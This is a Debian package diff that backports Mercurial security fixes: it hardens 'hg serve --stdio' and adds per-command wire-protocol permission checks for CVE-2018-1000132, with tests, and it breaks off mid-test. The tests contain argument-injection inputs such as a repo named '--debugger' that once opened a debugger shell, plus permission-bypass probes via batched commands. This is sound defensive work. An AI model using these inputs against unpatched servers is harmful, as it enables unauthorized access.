entry = cmdutil.findcmd(cmd, commands.table, False) ++ realcmd = aliases[0] ++ except (error.UnknownCommand, error.AmbiguousCommand, ++ IndexError, getopt.GetoptError): ++ # Don't handle this here. We know the command is ++ # invalid, but all we're worried about for now is that ++ # it's not a command that server operators expect to ++ # be safe to offer to users in a sandbox. ++ pass ++ if realcmd == 'serve' and '--stdio' in cmdargs: ++ # We want to constrain 'hg serve --stdio' instances pretty ++ # closely, as many shared-ssh access tools want to grant ++ # access to run *only* 'hg -R $repo serve --stdio'. We ++ # restrict to exactly that set of arguments, and prohibit ++ # any repo name that starts with '--' to prevent ++ # shenanigans wherein a user does something like pass ++ # --debugger or --config=ui.debugger=1 as a repo ++ # name. This used to actually run the debugger. ++ if (len(req.args) != 4 or ++ req.args[0] != '-R' or ++ req.args[1].startswith('--') or ++ req.args[2] != 'serve' or ++ req.args[3] != '--stdio'): ++ ui.warn(_("abort: potentially unsafe serve --stdio invocation: %r\n") % ++ (req.args,)) ++ return -1 ++ + try: + try: + debugger = 'pdb' +diff -r 68f263f52d2e -r 77eaf9539499 tests/test-ssh.t +--- a/tests/test-ssh.t Mon Apr 03 17:34:24 2017 -0400 ++++ b/tests/test-ssh.t Wed Apr 12 11:23:55 2017 -0700 +@@ -291,6 +291,19 @@ Test (non-)escaping of remote paths with spaces when cloning (issue3145): + abort: destination 'a repo' is not empty + [255] + ++Make sure hg is really paranoid in serve --stdio mode. It used to be ++possible to get a debugger REPL by specifying a repo named --debugger. ++ $ hg -R --debugger serve --stdio ++ abort: potentially unsafe serve --stdio invocation: ['-R', '--debugger', 'serve', '--stdio'] ++ [255] ++ $ hg -R --config=ui.debugger=yes serve --stdio ++ abort: potentially unsafe serve --stdio invocation: ['-R', '--config=ui.debugger=yes', 'serve', '--stdio'] ++ [255] ++Abbreviations of 'serve' also don't work, to avoid shenanigans. ++ $ hg -R narf serv --stdio ++ abort: potentially unsafe serve --stdio invocation: ['-R', 'narf', 'serv', '--stdio'] ++ [255] ++ + Test hg-ssh using a helper script that will restore PYTHONPATH (which might + have been cleared by a hg.exe wrapper) and invoke hg-ssh with the right + parameters: +--- a/tests/test-hup.t ++++ b/tests/test-hup.t +@@ -3,7 +3,7 @@ Test hangup signal in the middle of transaction + $ "$TESTDIR/hghave" serve fifo || exit 80 + $ hg init + $ mkfifo p +- $ hg serve --stdio < p 1>out 2>&1 & ++ $ hg -R . serve --stdio < p 1>out 2>&1 & + $ P=$! + + Do test while holding fifo open diff -Nru mercurial-2.8.2/debian/patches/CVE-2018-1000132.patch mercurial-2.8.2/debian/patches/CVE-2018-1000132.patch --- mercurial-2.8.2/debian/patches/CVE-2018-1000132.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2018-1000132.patch 2018-11-22 14:17:28.000000000 +0000 @@ -0,0 +1,1930 @@ +Description: backport of 4.3 patch to 3.2 + This was created from the Mozilla patchset using: something like "hg + diff -r db527ae12671 -r 86f9a022ccb8" to generate the original patch, + which was then backported. The get-with-headers.py script was taken + verbatim from the 4.3 version instead of trying to patch the 3.1 + version. +Last-update: 2018-06-27 +From: Antoine Beaupré +Origin: https://hg.mozilla.org/users/gszorc_mozilla.com/hg + +--- a/hgext/largefiles/uisetup.py ++++ b/hgext/largefiles/uisetup.py +@@ -11,7 +11,7 @@ + from mercurial import archival, cmdutil, commands, extensions, filemerge, hg, \ + httppeer, merge, scmutil, sshpeer, wireproto, revset + from mercurial.i18n import _ +-from mercurial.hgweb import hgweb_mod, webcommands ++from mercurial.hgweb import webcommands + from mercurial.subrepo import hgsubrepo + + import overrides +@@ -134,9 +134,10 @@ def uisetup(ui): + + # make putlfile behave the same as push and {get,stat}lfile behave + # the same as pull w.r.t. permissions checks +- hgweb_mod.perms['putlfile'] = 'push' +- hgweb_mod.perms['getlfile'] = 'pull' +- hgweb_mod.perms['statlfile'] = 'pull' ++ wireproto.permissions['putlfile'] = 'push' ++ wireproto.permissions['getlfile'] = 'pull' ++ wireproto.permissions['statlfile'] = 'pull' ++ wireproto.permissions['lheads'] = 'pull' + + extensions.wrapfunction(webcommands, 'decodepath', overrides.decodepath) + +--- a/mercurial/hgweb/hgweb_mod.py ++++ b/mercurial/hgweb/hgweb_mod.py +@@ -7,7 +7,7 @@ + # GNU General Public License version 2 or any later version. + + import os +-from mercurial import ui, hg, hook, error, encoding, templater, util, repoview ++from mercurial import ui, hg, hook, error, encoding, templater, util, repoview, wireproto + from mercurial.templatefilters import websub + from mercurial.i18n import _ + from common import get_stat, ErrorResponse, permhooks, caching +@@ -16,15 +16,8 @@ from common import HTTP_NOT_FOUND, HTTP_SERVER_ERROR + from request import wsgirequest + import webcommands, protocol, webutil, re + +-perms = { +- 'changegroup': 'pull', +- 'changegroupsubset': 'pull', +- 'getbundle': 'pull', +- 'stream_out': 'pull', +- 'listkeys': 'pull', +- 'unbundle': 'push', +- 'pushkey': 'push', +-} ++# Aliased for API compatibility. ++perms = wireproto.permissions + + def makebreadcrumb(url, prefix=''): + '''Return a 'URL breadcrumb' list +@@ -167,8 +160,13 @@ class hgweb(object): + try: + if query: + raise ErrorResponse(HTTP_NOT_FOUND) +- if cmd in perms: +- self.check_perm(req, perms[cmd]) ++ ++ req.checkperm = lambda op: self.check_perm(req, op) ++ # Assume commands with no defined permissions are writes / ++ # for pushes. This is the safest from a security perspective ++ # because it doesn't allow commands with undefined semantics ++ # from bypassing permissions checks. ++ req.checkperm(perms.get(cmd, 'push')) + return protocol.call(self.repo, req, cmd) + except ErrorResponse, inst: + # A client that sends unbundle without 100-continue will +--- a/mercurial/hgweb/protocol.py ++++ b/mercurial/hgweb/protocol.py +@@ -17,6 +17,7 @@ class webproto(object): + self.req = req + self.response = '' + self.ui = ui ++ self.checkperm = req.checkperm + def getargs(self, args): + knownargs = self._args() + data = {} +--- a/mercurial/wireproto.py ++++ b/mercurial/wireproto.py +@@ -11,6 +11,10 @@ from node import bin, hex + import changegroup as changegroupmod + import peer, error, encoding, util, store + ++# Maps wire protocol name to operation type. This is used for permissions ++# checking. ++permissions = {} ++ + # abstract batching support + + class future(object): +@@ -363,6 +367,15 @@ def options(cmd, keys, others): + % (cmd, ",".join(others))) + return opts + ++def wireprotocommand(name, args=''): ++ """decorator for wire protocol command""" ++ def register(func): ++ commands[name] = (func, args) ++ return func ++ return register ++ ++# TODO define a more appropriate permissions type to use for this. ++permissions['batch'] = 'pull' + def batch(repo, proto, cmds, others): + repo = repo.filtered("served") + res = [] +@@ -374,6 +387,17 @@ def batch(repo, proto, cmds, others): + n, v = a.split('=') + vals[n] = unescapearg(v) + func, spec = commands[op] ++ ++ # If the protocol supports permissions checking, perform that ++ # checking on each batched command. ++ # TODO formalize permission checking as part of protocol interface. ++ if util.safehasattr(proto, 'checkperm'): ++ # Assume commands with no defined permissions are writes / for ++ # pushes. This is the safest from a security perspective because ++ # it doesn't allow commands with undefined semantics from ++ # bypassing permissions checks. ++ proto.checkperm(permissions.get(op, 'push')) ++ + if spec: + keys = spec.split() + data = {} +@@ -394,6 +418,7 @@ def batch(repo, proto, cmds, others): + res.append(escapearg(result)) + return ';'.join(res) + ++permissions['between'] = 'pull' + def between(repo, proto, pairs): + pairs = [decodelist(p, '-') for p in pairs.split(" ")] + r = [] +@@ -401,6 +426,7 @@ def between(repo, proto, pairs): + r.append(encodelist(b) + "\n") + return "".join(r) + ++permissions['branchmap'] = 'pull' + def branchmap(repo, proto): + branchmap = repo.branchmap() + heads = [] +@@ -410,6 +436,7 @@ def branchmap(repo, proto): + heads.append('%s %s' % (branchname, branchnodes)) + return '\n'.join(heads) + ++permissions['branches'] = 'pull' + def branches(repo, proto, nodes): + nodes = decodelist(nodes) + r = [] +@@ -417,6 +444,7 @@ def branches(repo, proto, nodes): + r.append(encodelist(b) + "\n") + return "".join(r) + ++permissions['capabilities'] = 'pull' + def capabilities(repo, proto): + caps = ('lookup changegroupsubset branchmap pushkey known getbundle ' + 'unbundlehash batch').split() +@@ -434,22 +462,26 @@ def capabilities(repo, proto): + caps.append('httpheader=1024') + return ' '.join(caps) + ++permissions['changegroup'] = 'pull' + def changegroup(repo, proto, roots): + nodes = decodelist(roots) + cg = repo.changegroup(nodes, 'serve') + return streamres(proto.groupchunks(cg)) + ++permissions['changegroupsubset'] = 'pull' + def changegroupsubset(repo, proto, bases, heads): + bases = decodelist(bases) + heads = decodelist(heads) + cg = repo.changegroupsubset(bases, heads, 'serve') + return streamres(proto.groupchunks(cg)) + ++permissions['debugwireargs'] = 'pull' + def debugwireargs(repo, proto, one, two, others): + # only accept optional args from the known set + opts = options('debugwireargs', ['three', 'four'], others) + return repo.debugwireargs(one, two, **opts) + ++permissions['getbundle'] = 'pull' + def getbundle(repo, proto, others): + opts = options('getbundle', ['heads', 'common', 'bundlecaps'], others) + for k, v in opts.iteritems(): +@@ -460,10 +492,12 @@ def getbundle(repo, proto, others): + cg = repo.getbundle('serve', **opts) + return streamres(proto.groupchunks(cg)) + ++permissions['heads'] = 'pull' + def heads(repo, proto): + h = repo.heads() + return encodelist(h) + "\n" + ++permissions['hello'] = 'pull' + def hello(repo, proto): + '''the hello command returns a set of lines describing various + interesting things about the server, in an RFC822-like format. +@@ -474,12 +508,14 @@ def hello(repo, proto): + ''' + return "capabilities: %s\n" % (capabilities(repo, proto)) + ++permissions['listkeys'] = 'pull' + def listkeys(repo, proto, namespace): + d = repo.listkeys(encoding.tolocal(namespace)).items() + t = '\n'.join(['%s\t%s' % (encoding.fromlocal(k), encoding.fromlocal(v)) + for k, v in d]) + return t + ++permissions['lookup'] = 'pull' + def lookup(repo, proto, key): + try: + k = encoding.tolocal(key) +@@ -491,9 +527,11 @@ def lookup(repo, proto, key): + success = 0 + return "%s %s\n" % (success, r) + ++permissions['known'] = 'pull' + def known(repo, proto, nodes, others): + return ''.join(b and "1" or "0" for b in repo.known(decodelist(nodes))) + ++permissions['pushkey'] = 'push' + def pushkey(repo, proto, namespace, key, old, new): + # compatibility with pre-1.8 clients which were accidentally + # sending raw binary nodes rather than utf-8-encoded hex +@@ -532,6 +570,7 @@ def _walkstreamfiles(repo): + # this is it's own function so extensions can override it + return repo.store.walk() + ++permissions['stream_out'] = 'pull' + def stream(repo, proto): + '''If the server supports streaming clone, it advertises the "stream" + capability with a value representing the version and flags of the repo +@@ -598,6 +637,7 @@ def stream(repo, proto): + + return streamres(streamer(repo, entries, total_bytes)) + ++permissions['unbundle'] = 'push' + def unbundle(repo, proto, heads): + their_heads = decodelist(heads) + +--- a/tests/get-with-headers.py ++++ b/tests/get-with-headers.py +@@ -3,6 +3,7 @@ + """This does HTTP GET requests given a host:port and path and returns + a subset of the headers plus the body of the result.""" + ++import argparse + import httplib, sys + + try: +@@ -12,16 +13,29 @@ try: + except ImportError: + pass + +-twice = False +-if '--twice' in sys.argv: +- sys.argv.remove('--twice') +- twice = True +-headeronly = False +-if '--headeronly' in sys.argv: +- sys.argv.remove('--headeronly') +- headeronly = True ++stdout = getattr(sys.stdout, 'buffer', sys.stdout) + +-reasons = {'Not modified': 'Not Modified'} # python 2.4 ++parser = argparse.ArgumentParser() ++parser.add_argument('--twice', action='store_true') ++parser.add_argument('--headeronly', action='store_true') ++parser.add_argument('--json', action='store_true') ++parser.add_argument('--hgproto') ++parser.add_argument('--requestheader', nargs='*', default=[], ++ help='Send an additional HTTP request header. Argument ' ++ 'value is
=') ++parser.add_argument('--bodyfile', ++ help='Write HTTP response body to a file') ++parser.add_argument('host') ++parser.add_argument('path') ++parser.add_argument('show', nargs='*') ++ ++args = parser.parse_args() ++ ++twice = args.twice ++headeronly = args.headeronly ++formatjson = args.json ++hgproto = args.hgproto ++requestheaders = args.requestheader + + tag = None + def request(host, path, show): +@@ -30,31 +44,58 @@ def request(host, path, show): + headers = {} + if tag: + headers['If-None-Match'] = tag ++ if hgproto: ++ headers['X-HgProto-1'] = hgproto ++ ++ for header in requestheaders: ++ key, value = header.split('=', 1) ++ headers[key] = value + + conn = httplib.HTTPConnection(host) + conn.request("GET", '/' + path, None, headers) + response = conn.getresponse() +- print response.status, reasons.get(response.reason, response.reason) ++ stdout.write(b'%d %s\n' % (response.status, ++ response.reason.encode('ascii'))) + if show[:1] == ['-']: + show = sorted(h for h, v in response.getheaders() + if h.lower() not in show) + for h in [h.lower() for h in show]: + if response.getheader(h, None) is not None: +- print "%s: %s" % (h, response.getheader(h)) ++ stdout.write(b"%s: %s\n" % (h.encode('ascii'), ++ response.getheader(h).encode('ascii'))) + if not headeronly: +- print +- if response.status != 500: +- data = response.read() +- sys.stdout.write(data) ++ stdout.write(b'\n') ++ data = response.read() ++ ++ if args.bodyfile: ++ bodyfh = open(args.bodyfile, 'wb') ++ else: ++ bodyfh = stdout ++ ++ # Pretty print JSON. This also has the beneficial side-effect ++ # of verifying emitted JSON is well-formed. ++ if formatjson: ++ # json.dumps() will print trailing newlines. Eliminate them ++ # to make tests easier to write. ++ data = json.loads(data) ++ lines = json.dumps(data, sort_keys=True, indent=2).splitlines() ++ for line in sorted(lines): ++ bodyfh.write(line.rstrip()) ++ bodyfh.write(b'\n') ++ else: ++ bodyfh.write(data) ++ ++ if args.bodyfile: ++ bodyfh.close() + +- if twice and response.getheader('ETag', None): +- tag = response.getheader('ETag') ++ if twice and response.getheader('ETag', None): ++ tag = response.getheader('ETag') + + return response.status + +-status = request(sys.argv[1], sys.argv[2], sys.argv[3:]) ++status = request(args.host, args.path, args.show) + if twice: +- status = request(sys.argv[1], sys.argv[2], sys.argv[3:]) ++ status = request(args.host, args.path, args.show) + + if 200 <= status <= 305: + sys.exit(0) +--- a/tests/run-tests.py ++++ b/tests/run-tests.py +@@ -364,6 +364,7 @@ def createenv(options, testtmp, threadtmp, port): + env["HGPORT"] = str(port) + env["HGPORT1"] = str(port + 1) + env["HGPORT2"] = str(port + 2) ++ env["LOCALIP"] = "127.0.0.1" + env["HGRCPATH"] = os.path.join(threadtmp, '.hgrc') + env["DAEMON_PIDS"] = os.path.join(threadtmp, 'daemon.pids') + env["HGEDITOR"] = sys.executable + ' -c "import sys; sys.exit(0)"' +--- /dev/null ++++ b/tests/test-http-permissions.t +@@ -0,0 +1,1499 @@ ++#require killdaemons ++ ++ $ cat > fakeremoteuser.py << EOF ++ > import os ++ > from mercurial.hgweb import hgweb_mod ++ > from mercurial import wireproto ++ > class testenvhgweb(hgweb_mod.hgweb): ++ > def __call__(self, env, respond): ++ > # Allow REMOTE_USER to define authenticated user. ++ > if r'REMOTE_USER' in os.environ: ++ > env[r'REMOTE_USER'] = os.environ[r'REMOTE_USER'] ++ > # Allow REQUEST_METHOD to override HTTP method ++ > if r'REQUEST_METHOD' in os.environ: ++ > env[r'REQUEST_METHOD'] = os.environ[r'REQUEST_METHOD'] ++ > return super(testenvhgweb, self).__call__(env, respond) ++ > hgweb_mod.hgweb = testenvhgweb ++ > ++ > @wireproto.wireprotocommand('customreadnoperm') ++ > def customread(repo, proto): ++ > return b'read-only command no defined permissions\n' ++ > @wireproto.wireprotocommand('customwritenoperm') ++ > def customwritenoperm(repo, proto): ++ > return b'write command no defined permissions\n' ++ > wireproto.permissions['customreadwithperm'] = 'pull' ++ > @wireproto.wireprotocommand('customreadwithperm') ++ > def customreadwithperm(repo, proto): ++ > return b'read-only command w/ defined permissions\n' ++ > wireproto.permissions['customwritewithperm'] = 'push' ++ > @wireproto.wireprotocommand('customwritewithperm') ++ > def customwritewithperm(repo, proto): ++ > return b'write command w/ defined permissions\n' ++ > EOF ++ ++ $ cat >> $HGRCPATH << EOF ++ > [extensions] ++ > fakeremoteuser = $TESTTMP/fakeremoteuser.py ++ > strip = ++ > EOF ++ ++ $ hg init test ++ $ cd test ++ $ echo a > a ++ $ hg ci -Ama ++ adding a ++ $ cd .. ++ $ hg clone test test2 ++ updating to branch default ++ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved ++ $ cd test2 ++ $ echo a >> a ++ $ hg ci -mb ++ $ hg book bm -r 0 ++ $ cd ../test ++ ++web.deny_read=* prevents access to wire protocol for all users ++ ++ $ cat > .hg/hgrc < [web] ++ > deny_read = * ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=capabilities' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=stream_out' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_read=* with REMOTE_USER set still locks out clients ++ ++ $ REMOTE_USER=authed_user hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=capabilities' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=stream_out' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_read= denies access to unauthenticated user ++ ++ $ cat > .hg/hgrc < [web] ++ > deny_read = baduser1,baduser2 ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_read= denies access to users in deny list ++ ++ $ REMOTE_USER=baduser2 hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_read= allows access to authenticated users not in list ++ ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_read=* allows reads for unauthenticated users ++ ++ $ cat > .hg/hgrc < [web] ++ > allow_read = * ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_read=* allows read for authenticated user ++ ++ $ REMOTE_USER=authed_user hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_read= does not allow unauthenticated users to read ++ ++ $ cat > .hg/hgrc < [web] ++ > allow_read = gooduser ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_read= does not allow user not in list to read ++ ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 